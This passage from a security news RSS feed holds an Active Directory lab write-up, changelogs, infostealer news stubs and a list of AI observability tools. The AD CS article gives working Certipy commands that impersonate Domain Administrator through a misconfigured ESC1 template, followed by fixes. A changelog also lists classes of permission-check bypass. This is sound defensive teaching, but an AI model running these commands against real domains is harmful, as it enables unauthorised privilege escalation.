<strong>“Do not require Kerberos Preauthentication” </strong>will get output like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OMfML99LRPMkMTCliD1wzA.png"></figure><h3>How to Prevent AS-REP Roasting</h3><p>1. Enable Kerberos Preauthentication</p><p>2.Use strong passwords for service accounts</p><p>3. Use Group Managed Service Accounts (gMSA)</p><p>4. Regularly audit accounts with preauthentication disabled</p><p>5. Monitor Kerberos authentication events</p><p><strong>Disclaimer:</strong> <em>This article is written entirely for educational purposes and to help Active Directory administrators better defend their environments against advanced Kerberos attacks. The AES-Roasting attack showcased here was conducted in a controlled, self-hosted lab environment. Unsanctioned exploitation of these techniques on live, production systems without explicit authorization is strictly against the law. The author is not responsible for any malicious use of this material.</em></p><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=2bc057a8a20e" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-aes-roasted-my-active-directory-lab-and-how-to-fix-it-2bc057a8a20e">How I AES-Roasted My Active Directory Lab (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Escalated to Domain Admin Using AD CS (And How to Fix It)]]></title>
<description><![CDATA[What is AD CS?Active Directory Certificate Services (AD CS) allows users and computers to obtain certificates for authentication, encryption, and other services.If certificate templates are misconfigured, attackers can request certificates for other users, including Domain Administrators, leading...]]></description>
<link>https://tsecurity.de/de/3677784/hacking/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677784/hacking/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:17 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IwcmPEl9c14DK-2hWY1W1g.png"></figure><h3>What is AD CS?</h3><p><strong>Active Directory Certificate Services (AD CS)</strong> allows users and computers to obtain certificates for authentication, encryption, and other services.</p><p>If certificate templates are misconfigured, attackers can request certificates for <strong>other users</strong>, including <strong>Domain Administrators</strong>, leading to privilege escalation.</p><p>In this lab, I exploited an <strong>ESC1</strong> certificate template misconfiguration.</p><h3>Lab Setup</h3><ul><li><strong>Domain:</strong> LAB.LOCAL</li><li><strong>Domain Controller:</strong> 192.168.56.104</li><li><strong>Certificate Authority:</strong> lab-DC1-CA</li><li><strong>Attacker:</strong> bob</li></ul><h3>Step 1 — Enumerate AD CS</h3><p>First, I looked for vulnerable certificate templates using <strong>Certipy</strong>.</p><pre>certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -dc-host DC1.lab.local -target DC1.lab.local -ldap-scheme ldap -vulnerable -debug</pre><p>Certipy identified a vulnerable template named:</p><pre>ESC1-Lab</pre><p>This template allowed the requester to specify an arbitrary <strong>User Principal Name (UPN)</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMCsemUil50u2bqrh-1jHA.png"></figure><h3>Step 2 — Request an Administrator Certificate</h3><p>Since the template was vulnerable, I requested a certificate while impersonating the <strong>Administrator</strong> account.</p><pre>certipy-ad req -u bob@lab.local -p 'Password@123' -ca lab-DC1-CA -template ESC1-Lab -upn Administrator@lab.local -dc-ip 192.168.56.104</pre><p>Certipy successfully issued an <strong>Administrator certificate</strong> and saved it as:</p><pre>administrator.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-_feIP7X-uB2A68CtwlfQA.png"></figure><h3>Step 3 — Authenticate as Administrator</h3><p>Finally, I authenticated using the issued certificate.</p><pre>certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.104</pre><p>Authentication succeeded, allowing me to impersonate the <strong>Domain Administrator</strong> without ever knowing the Administrator’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vh8aenq802cDnuJT2GG2rQ.png"></figure><h3>Why Did This Work?</h3><p>The certificate template was vulnerable to <strong>ESC1</strong> because it:</p><ul><li>Allowed users to enroll.</li><li>Allowed the requester to supply any UPN.</li><li>Was trusted for client authentication.</li></ul><p>This meant Bob could request a certificate for <strong>Administrator@lab.local</strong> and authenticate as that user.</p><h3>How to Fix It</h3><p>To prevent ESC1 attacks:</p><p>1.Disable <strong>“Supply in the request”</strong> unless absolutely necessary.</p><p>2. Restrict enrollment permissions to trusted users.</p><p>3. Review certificate templates regularly.</p><p>4. Remove unnecessary Client Authentication EKUs.</p><p>5. Audit AD CS with tools like <strong>Certipy</strong> and <strong>BloodHound</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*nXg7Fgi0SkhyFf5sYadGyg.png"></figure><h3>Verify the Fix</h3><p>Run the enumeration again.</p><pre>certipy-ad find -u bob@lab.local -p 'password@123' -dc-ip 192.168.56.104 -vulnerable</pre><p>If the template is properly secured, <strong>ESC1-Lab</strong> should no longer appear as vulnerable.</p><h3>Key Takeaways</h3><p>1. Regularly audit AD CS templates.</p><p>2. Follow the principle of least privilege.</p><p>3. Restrict certificate enrollment permissions.</p><p>4. Monitor certificate enrollment events.</p><blockquote><strong><em>Disclaimer:</em></strong><em> This article is part of my Active Directory Lab Series. All demonstrations were performed in my self-hosted GOAD lab for educational and defensive purposes. Never perform these techniques on systems without proper authorization.</em></blockquote><p><em>— Written by</em></p><p><strong>Aruvasaga Chithan A</strong></p><p><strong>Ethical Hacker &amp; Cyber Security Researcher.</strong></p><p><strong>Thanks for reading — your support keeps me writing.</strong><br><strong>See you in the next article…</strong></p><p><a href="http://www.linkedin.com/in/aruvasaga-chithan"><em>Linkedin</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=a86cc69aed5a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-escalated-to-domain-admin-using-ad-cs-and-how-to-fix-it-a86cc69aed5a">How I Escalated to Domain Admin Using AD CS (And How to Fix It)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v2.1.214]]></title>
<description><![CDATA[What's changed

Fixed single-segment dir/** allow rules like Edit(src/**) auto-approving writes to nested dir/ directories anywhere in the tree instead of only /dir
Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions
Fixed Bash permission checks to fail close...]]></description>
<link>https://tsecurity.de/de/3677323/downloads/v21214/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677323/downloads/v21214/</guid>
<pubDate>Sat, 18 Jul 2026 03:46:25 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's changed</h2>
<ul>
<li>Fixed single-segment <code>dir/**</code> allow rules like <code>Edit(src/**)</code> auto-approving writes to nested <code>dir/</code> directories anywhere in the tree instead of only <code>&lt;cwd&gt;/dir</code></li>
<li>Fixed a permission-check bypass affecting commands run in Windows PowerShell 5.1 sessions</li>
<li>Fixed Bash permission checks to fail closed on file-descriptor redirect forms that bash parses differently than the permission analyzer</li>
<li>Fixed Bash permission checks misjudging very long commands — commands over 10,000 characters now always prompt instead of running automatically</li>
<li>Fixed Bash permission checks treating zsh variable subscripts and modifiers in <code>[[ ]]</code> comparisons as inert text — these commands now prompt for approval</li>
<li>Fixed Bash permission checks to no longer auto-approve certain <code>help</code> and <code>man</code> commands that could run unsafe options, command substitutions, or backslash paths</li>
<li>Fixed permission prompts on remote sessions that could proceed before the local confirmation dialog</li>
<li>Added the EndConversation tool: Claude can end sessions with highly abusive users or jailbreak attempts, as on claude.ai since 2025 — see <a href="https://www.anthropic.com/research/end-subset-conversations" rel="nofollow">https://www.anthropic.com/research/end-subset-conversations</a></li>
<li>Added a periodic progress heartbeat for long-running tool calls that previously went silent</li>
<li>Added an ISO <code>modified</code> timestamp to memory file frontmatter</li>
<li>Added <code>message.uuid</code>, <code>client_request_id</code>, and <code>tool_source</code> attributes to OpenTelemetry log events for message-level correlation and tool provenance</li>
<li>Added <code>CLAUDE_CODE_OTEL_CONTENT_MAX_LENGTH</code> to configure the 60 KB truncation limit on OpenTelemetry content attributes</li>
<li>Added reasoning effort to the <code>subagentStatusLine</code> payload, so custom agent rows can render model and effort</li>
<li>Added permission prompts for <code>docker</code> commands (including the Podman <code>docker</code> shim) carrying daemon-redirect flags (<code>--url</code>, <code>--connection</code>, <code>--identity</code>, and Podman's remote mode) that previously ran without one</li>
<li>Fixed a crash when a GrowthBook feature evaluates to null, and a bug where a malformed flag payload could wipe the cached feature flags</li>
<li>Fixed Bash tool killing the Claude session when a <code>pkill -f</code> pattern accidentally matched the CLI's own process (Linux)</li>
<li>Fixed unbounded memory growth when <code>--settings</code> points at a device file or multi-GB file; oversized (&gt;2 MiB) settings files now fail at startup with a clear error</li>
<li>Fixed streaming turns failing with "Socket is closed" behind corporate proxies on Windows</li>
<li>Fixed stream-json output truncation at exit for slow-reading SDK/pipeline consumers; the exit drain now scales with queued bytes instead of a flat 2s cap</li>
<li>Fixed scheduled tasks refusing their own configured prompt as untrusted input — the fired prompt is now delivered as the session's assigned task</li>
<li>Fixed PowerShell tool commands hanging until timeout when a child process waited on standard input (Windows)</li>
<li>Fixed Python scripts under the PowerShell tool crashing with UnicodeDecodeError when reading non-UTF-8 data from standard input (Windows)</li>
<li>Fixed Python scripts run via the PowerShell tool crashing with UnicodeEncodeError on non-ASCII output, and PowerShell 7 error messages containing raw ANSI escape sequences (Windows)</li>
<li>Fixed the PowerShell tool reporting <code>where.exe</code>, <code>fc.exe</code>, and <code>diff.exe</code> as errors when they return a valid negative answer (Windows)</li>
<li>Fixed <code>&gt;</code> and <code>&gt;&gt;</code> under the PowerShell tool on Windows PowerShell 5.1 writing UTF-16LE files that other tools couldn't read as UTF-8</li>
<li>Fixed a displaced background daemon deleting its successor's control socket on shutdown, which made the next client kill the healthy replacement daemon</li>
<li>Fixed background sessions parked with <code>←</code> or <code>/background</code> and left idle keeping the background daemon and a worker process alive indefinitely</li>
<li>Fixed completed background sessions being impossible to remove via <code>claude rm</code> or the agent view once the background service had gone idle</li>
<li>Fixed background sessions dispatched from a non-git folder being impossible to delete from the agents view</li>
<li>Fixed reopening a stopped background session failing to restore its saved conversation when an unreadable folder exists in the session store</li>
<li>Fixed the Remote Control "session ready" push notification firing for sessions where Remote Control was not explicitly enabled</li>
<li>Fixed <code>/install-github-app</code> and the <code>/mcp</code> settings menu being blocked in agent-view sessions — they're now refused only in background sessions with no terminal attached</li>
<li>Fixed plugins enabled via the <code>--settings</code> CLI flag not loading (regression since v2.1.181)</li>
<li>Fixed feature flags going stale in long-running sessions after the OAuth token rotates</li>
<li>Fixed <code>/ultrareview</code> refusing to run in repos with no merge base — it now offers to review all tracked files</li>
<li>Fixed <code>claude update</code> and <code>claude doctor</code> hanging silently, and the <code>/status</code> System diagnostics section going blank, when a shell-config path is a directory</li>
<li>Fixed memory frontmatter values being silently truncated at an inline <code>#</code> when memory files are saved</li>
<li>Fixed session cost and token telemetry double-counting on streams that emit multiple cumulative <code>message_delta</code> frames</li>
<li>Fixed a spurious "check your network" warning that appeared while the advisor was thinking</li>
<li>Fixed hooks with exit code 2 not blocking as documented when the hook's stdout JSON fails schema validation</li>
<li>Fixed OTel log events emitted outside the turn's async context missing the interaction span's trace context</li>
<li>Fixed MCP transient errors during prompts/resources refresh clearing the server's slash commands and resources</li>
<li>Improved the <code>claude rc</code> workspace-trust error in the home directory to say trust there is never saved and to suggest running from a project directory</li>
<li>Changed single-segment <code>dir/**</code> hook <code>if:</code> conditions to match only <code>&lt;cwd&gt;/dir</code>; write <code>**/dir/**</code> for any-depth matching. <code>deny</code>/<code>ask</code> permission rules keep their any-depth match.</li>
<li>Changed <code>file</code> commands using <code>-m</code>/<code>--magic-file</code> or <code>-f</code>/<code>--files-from</code> to require permission instead of being auto-allowed as read-only</li>
<li>Changed keep-alive connection pooling to disable after a stale-connection error, so retries open a fresh socket</li>
<li>Changed SessionStart hooks to report source <code>"fork"</code> when a session begins as a fork instead of <code>"resume"</code></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[ACR Stealer Uses ClickFix Lures to Steal Browser Tokens and Microsoft 365 Files]]></title>
<description><![CDATA[ACR Stealer, an infostealer in circulation since 2024, is walking out of enterprise networks with saved browser passwords, live session tokens, PDFs, Microsoft 365 documents, and files from synced OneDrive and SharePoint folders. It gets in because someone pasted a…
Read more →
The post ACR Steal...]]></description>
<link>https://tsecurity.de/de/3675891/it-security-nachrichten/acr-stealer-uses-clickfix-lures-to-steal-browser-tokens-and-microsoft-365-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675891/it-security-nachrichten/acr-stealer-uses-clickfix-lures-to-steal-browser-tokens-and-microsoft-365-files/</guid>
<pubDate>Fri, 17 Jul 2026 13:23:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>ACR Stealer, an infostealer in circulation since 2024, is walking out of enterprise networks with saved browser passwords, live session tokens, PDFs, Microsoft 365 documents, and files from synced OneDrive and SharePoint folders. It gets in because someone pasted a…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/acr-stealer-uses-clickfix-lures-to-steal-browser-tokens-and-microsoft-365-files/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/acr-stealer-uses-clickfix-lures-to-steal-browser-tokens-and-microsoft-365-files/">ACR Stealer Uses ClickFix Lures to Steal Browser Tokens and Microsoft 365 Files</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[ACR Stealer Uses ClickFix Lures to Steal Browser Tokens and Microsoft 365 Files]]></title>
<description><![CDATA[ACR Stealer, an infostealer in circulation since 2024, is walking out of enterprise networks with saved browser passwords, live session tokens, PDFs, Microsoft 365 documents, and files from synced OneDrive and SharePoint folders.

It gets in because someone pasted a command into a Run box and pre...]]></description>
<link>https://tsecurity.de/de/3675772/it-security-nachrichten/acr-stealer-uses-clickfix-lures-to-steal-browser-tokens-and-microsoft-365-files/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675772/it-security-nachrichten/acr-stealer-uses-clickfix-lures-to-steal-browser-tokens-and-microsoft-365-files/</guid>
<pubDate>Fri, 17 Jul 2026 12:39:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ACR Stealer, an infostealer in circulation since 2024, is walking out of enterprise networks with saved browser passwords, live session tokens, PDFs, Microsoft 365 documents, and files from synced OneDrive and SharePoint folders.

It gets in because someone pasted a command into a Run box and pressed Enter. Microsoft laid out two of the delivery chains on Thursday. Its Defender Experts team, the]]></content:encoded>
</item>
<item>
<title><![CDATA[SDK v0.0.64]]></title>
<description><![CDATA[Improved max output token handling across providers (gateway routing, OpenAI vendor, and reasoning models)
Frontmatter and user-instruction files that start with a UTF-8 byte order mark (e.g. saved by Windows editors) now parse correctly

Full Changelog: sdk/sdk/v0.0.63...sdk/sdk/v0.0.64]]></description>
<link>https://tsecurity.de/de/3674895/downloads/sdk-v0064/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674895/downloads/sdk-v0064/</guid>
<pubDate>Fri, 17 Jul 2026 03:46:22 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<ul>
<li>Improved max output token handling across providers (gateway routing, OpenAI vendor, and reasoning models)</li>
<li>Frontmatter and user-instruction files that start with a UTF-8 byte order mark (e.g. saved by Windows editors) now parse correctly</li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/cline/cline/compare/sdk/sdk/v0.0.63...sdk/sdk/v0.0.64"><tt>sdk/sdk/v0.0.63...sdk/sdk/v0.0.64</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[19 AgentOps tools for monitoring AI activity, issues, and costs]]></title>
<description><![CDATA[With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the ...]]></description>
<link>https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673038/it-security-nachrichten/19-agentops-tools-for-monitoring-ai-activity-issues-and-costs/</guid>
<pubDate>Thu, 16 Jul 2026 12:09:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">With AI increasingly tucked into every cranny of the enterprise, someone has had to step up and provide the tools necessary to discover, track, and monitor all the agents and LLMs and keep them humming along in their various workflows. Thankfully, the DevOps world answered the call, building the tools to support our new overlords in an emerging subdiscipline interchangeably called “<a href="https://www.cio.com/article/196239/what-is-aiops-injecting-intelligence-into-it-operations.html">AIOps</a>,” “AgentOps,” and sometimes “agent observability.”</p>



<p class="wp-block-paragraph">Many of the challenges involved in AgentOps are similar to those tackled by traditional DevOps tools and processes. After all, at their foundation, LLMs are just software running on hardware somewhere. Typical issues involving RAM and disk space are just as important in the agent world, maybe more so because AI operations are even more greedy about consuming storage than regular software is.</p>



<p class="wp-block-paragraph">Many of the companies supporting agent observability are big names in DevOps circles, having adapted their stacks to address the idiosyncrasies of modern LLMs. IT teams maintaining enterprise agents can treat the LLMs as just one node in a big graph filled with services that are constantly swapping packets and triggering software jobs. Latency and resource constraints must be managed because end-users don’t care whether it’s an LLM, a database, or a plain-old Python script that’s failing, bringing their work to a grinding halt.</p>



<p class="wp-block-paragraph">But new AI-specific challenges are opening the door to newcomers that are building tools with the peculiarities of LLMs in mind — for example, keeping deeper logs filled with records of prompts. LLMs are also often very non-deterministic by design, making it trickier to pinpoint failure modes. And then there’s the fact that an agent will give a perfectly intelligent answer one minute and hallucinate the next.</p>



<p class="wp-block-paragraph">Relying on many of the same approaches that DevOps tools do, AgentOps tools watch for misbehavior and flag anything out of the ordinary for deeper analysis. This may be as simple as fixing slow responses, but it can also include AI hallucinations and other issues born of LLMs’ non-determanism.</p>



<p class="wp-block-paragraph">Teams trying to choose which agent observability tools is best for their use case should look at the size and nature of their agentic systems and projects. Are they adding AI agent features to an existing product or application, or are they building agentic systems from scratch? Are they more focused on maintaining a stable LLM operation or iterating on new approaches? Is AI the center of attention or just an add-on that’s meant to improve an existing stack?<br><br>The AgentOps and agent observability options listed below share many of the same features but differ in their focus and their attention to the challenges organizations will encounter when incorporating agents into their stacks. Each tool offers a worthwhile place to start understanding how to care for the growing presence of AI in the production world.</p>



<h2 class="wp-block-heading">AgentOps.ai</h2>



<p class="wp-block-paragraph">When teams of agents work together, tracking the conversations are essential for understanding and debugging what’s happening. The SDK from <a href="http://agentops.ai/">AgentOps.ai records</a> events so that the creators can replay past behavior to track details such as token counts, spending, latency, and more. Available as a service and on-premises.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.agentops.ai/#pricing">Starts at $40 per month </a>plus usage costs at $0.20 per 1M tokens</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Replay analytics with “time-travel debugging”</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Complex agent debugging</p>



<h2 class="wp-block-heading">Arize Phoenix</h2>



<p class="wp-block-paragraph">Debugging prompts and LLM responses requires a nuanced understanding of just what’s happening, in part because of the non-determinism that often enters the process. <a href="https://arize.com/phoenix/">Phoenix</a> from Arize supports this process with robust tracing and the ability to score the results for more precise iteration. Their system can track the results and tool calls from a variety of major platforms (Anthropic, AWS, OpenAI, etc.) that are initiated by the major frameworks (LangChain, LlamaIndex, DSPy, etc.). The result is insight into what data is triggering what chain of responses.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://arize.com/pricing/">Pro plan</a> starts at $50 per month plus costs tied to events</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> LLM-as-a-Judge metrics for tracking quality</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Teams focusing on iterating for accuracy and quality</p>



<h2 class="wp-block-heading">BigPanda</h2>



<p class="wp-block-paragraph"><a href="https://www.bigpanda.io/">BigPanda</a> has always offered solutions for tracking performance of complex systems. Now the company is drilling deeper into the challenge of detecting and ending the problems that come from models that go awry. BigPanda’s main system relies on historical data and machine learning algorithms to flag issues. Its own agent layer connects the problematic nodes and errant models while dispatching alerts to the right team members.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> “Value-based” table on <a href="https://www.bigpanda.io/pricing/">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Automated triage for faster response</p>



<p class="wp-block-paragraph"><em>Best suited for:</em> Large teams seeking to reduce alert fatigue from large customer base</p>



<h2 class="wp-block-heading">Braintrust</h2>



<p class="wp-block-paragraph">Setting up an effective improvement cycle for an AI agent requires a strong feedback loop from production data to the agent’s next generation. <a href="https://www.braintrust.dev/">Braintrust</a> watches the production workload and creates test vectors that expose how an agent may be drifting, regressing, or departing from its path. The tool automates much of the testing and scoring feedback loop so problematic patterns can be discovered and addressed. A core part of the offering is a specialized data store that can track large and sometimes deeply nested collections of tests and their results. Their approach may be summarized by one of their tag lines: “trace everything.”</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free starter tier; <a href="https://www.braintrust.dev/pricing">Pro plan</a> starts at $249 with some usage-based costs covered</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Highly scalable trace ingestion</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams developing strong guardrails through continuous testing</p>



<h2 class="wp-block-heading">Chronicle Labs</h2>



<p class="wp-block-paragraph">When it’s time to release a new version of an agent into the wild, the <a href="https://chronicle-labs.com/">platform from Chronicle Labs </a>specializes in staging it and testing it with a collection of use tests and regression cases. The tools are also helpful during development cycles. “Backtest your agent against reality,” their sales material promises, with a set of tools that mines the production telemetry for solid test vectors that stress every part of the agent with prompts and challenges that the agent will encounter after leaving the safety of the lab.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> On <a href="https://chronicle-labs.com/book-call">request</a></p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Back-testing options for complex testing regimes</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams chasing strong models with good fidelity to reality</p>



<h2 class="wp-block-heading">Comet Opik</h2>



<p class="wp-block-paragraph">Building a dashboard for tracking every in-flow and out-flow to agents is one way to be ready to watch for and solve problems. <a href="https://www.comet.com/site/products/opik/">Opik from Comet </a>is just such a tool. The DevOps teams can track each call and add its own automated routines to examine the results, score them based on 30-plus metrics, and if desired, send it off to another LLM to evaluate the results. Agents that are constantly failing stand out. DevOps teams can also ask questions like, “Who is using this model and racking up all of the bills?” The same goes for MCP skills and other cogs in the machine.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free tiers for open source and small projects; <a href="https://www.comet.com/site/pricing/">Pro plan</a> starts at $19 per month with usage limits</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Auto-scoring with 30-plus metrics for evaluating traces</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams focusing on RAG and agentic workflows</p>



<h2 class="wp-block-heading">Datadog</h2>



<p class="wp-block-paragraph">DevOps teams that rely on <a href="https://www.datadoghq.com/">Datadog</a> to track logs across collections of services can also use it to track LLM operations, which are, of course, just another source and sink for data. It will track performance such as time to first token and offer insight into what might be causing an issue, such as lack of memory. Results then get plugged into the same cost-tracking mechanism so the bean counters can predict when the budget will run out. After all, the CFO likely doesn’t care whether the bill comes from an LLM or an old-school S3 storage bucket. Datadog integrates AI into their tools by treating these models as just another source of data.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier with <a href="https://www.datadoghq.com/pricing/">multiple paid tiers</a> for various levels of enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Large installed base with broad focus on more than LLMs</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large enterprise teams working with established infrastructure</p>



<h2 class="wp-block-heading">Dynatrace</h2>



<p class="wp-block-paragraph">For more than 20 years, <a href="https://www.dynatrace.com/">Dynatrace</a> has been delivering tools that track dataflows across the full stack. Now that AIs are finding roles in many of the nodes in this complex graph, they’re expanding to track how various AI agents can interact. They want to build one platform that helps track the root cause and, often now, deploy solutions autonomously. They want to focus on being ready to support complex networks of agents that detect problems in either performance or security and then work within defined guardrails to fix them. Determining the right role for their own AI-powered agents is a key part of the product.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> <a href="https://www.dynatrace.com/pricing/">Plans</a> start at $7 per month with larger plans designed for full enterprise monitoring</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> High level of autonomous monitoring designed for large installations</p>



<p class="wp-block-paragraph"><em>Best for: </em>Complex, hybrid environments mixing LLMs with traditional services</p>



<h2 class="wp-block-heading">Galileo</h2>



<p class="wp-block-paragraph">Placing some AI systems into production is often a harrowing experience because the actual performance is impossible to predict, even with the most rigorous tests. <a href="https://galileo.ai/">Galileo</a> offers guardrails that track performance and watch for any behavior that deviates from the ground truth. Their “LLM-as-judge” systems are distilled into compact models that can be run locally for lower costs and faster performance.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; Pro plans start at $50 per month with usage-based limits and costs</p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Real-time guardrails for deployed agents</p>



<p class="wp-block-paragraph"><em>Best for:</em> Security-conscious installations that need to defend against hallucination and data leakage</p>



<h2 class="wp-block-heading">Grafana Labs</h2>



<p class="wp-block-paragraph">Long the go-to source for<a href="https://grafana.com/oss/"> open source </a>telemetry, <a href="https://grafana.com/products/cloud/ai-assistant/?pg=hp&amp;plcmt=txt-img-alternating">Grafana Labs</a> now tracks performance of AI models in constellations of services. Grafana tracks the evolution of answers across the agentic network to recognize how small changes or hallucinations can spin out of control. It bills its system as “actually useful AI” and has even trademarked it. Its cloud assistant can configure and reconfigure the Grafana dash to offer the right level of observability. Its system includes AI-level analysis that can flag models that are responding quickly but offering bad answers because of problems such as model drift or context degradation.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Basic free tier; <a href="https://grafana.com/pricing/">Pro plan</a> begins at $19 per month, includes better retention and some usage-based fees </p>



<p class="wp-block-paragraph"><em>Standout feature: </em>Full-stack tool with fully integrated LLM tools</p>



<p class="wp-block-paragraph"><em>Best for:</em> Large, enterprise-scale system adding AI</p>



<h2 class="wp-block-heading">Helicone</h2>



<p class="wp-block-paragraph">Sometimes shoehorning in another tool into the chain can be tricky. <a href="https://www.helicone.ai/">Helicone</a> is designed as a smart network proxy that will route all model requests while keeping solid debugging records from the data as it goes by. The data it captures can be turned into nice charts that make it easy to spot latency issues or model failures. Naturally, tracking AI spend is also a feature in much demand as bills continue to climb.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; <a href="https://www.helicone.ai/pricing">Pro plan</a> starts at $79 per month, includes features such as team collaboration and improved querying</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Proxy-based integration</p>



<p class="wp-block-paragraph"><em>Best for:</em> Development teams who want to add better monitoring features quickly</p>



<h2 class="wp-block-heading">Laminar</h2>



<p class="wp-block-paragraph">Tracking agents in development and production means building strong storehouses of data enumerating what happened. <a href="https://laminar.sh/">Laminar</a> works closely with OpenTelemetry to follow agents operating in production so that flaws and failure modes can be understood from log files stored efficiently with their own compression scheme. Developers can search through traces with an SQL-ish language and Laminar’s transcript view illuminates what happened. When necessary, the traces can enable developers to scroll back in time and replay the same inputs for debugging. The goal is to offer deep insights with high-level visibility of how well the agents are meeting business objectives.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Small free tier; “Hobby” tier that adds more features at $30; <a href="https://laminar.sh/pricing">Pro level</a> starts at $150 per month</p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Open-source license makes self-hosting a viable option</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams fully able to leverage open-source responsibilities</p>



<h2 class="wp-block-heading">LangChain LangSmith</h2>



<p class="wp-block-paragraph">Real-time data from agents is essential for managing any mutli-agent system in production. LangSmith from <a href="https://www.langchain.com/">LangChain</a> traces costs, tools, and progress toward solutions for a wide collection of agents using SDKs for Python, TypeScript, Go, and Java. The OpenTelemetry-based solution watches for anomalies, issuing warnings and alerts through dashboards and communication channels such as PagerDuty. Deeper analysis can reveal issues such as topic clustering or odd patterns of failure. Coordination with agent deployment platforms such as LangGraph and deepagents ensures greater focus on successful resolution of assignments.</p>



<p class="wp-block-paragraph"><em>Pricing:</em> Free for solo developers; <a href="https://www.langchain.com/pricing">Pro teams</a> start at $39 per person per month </p>



<p class="wp-block-paragraph"><em>Standout feature:</em> Systematic approach to regression testing of prompts</p>



<p class="wp-block-paragraph"><em>Best for:</em> Teams relying on LangChain and LangGraph frameworks for supporting complex agentic behavior</p>



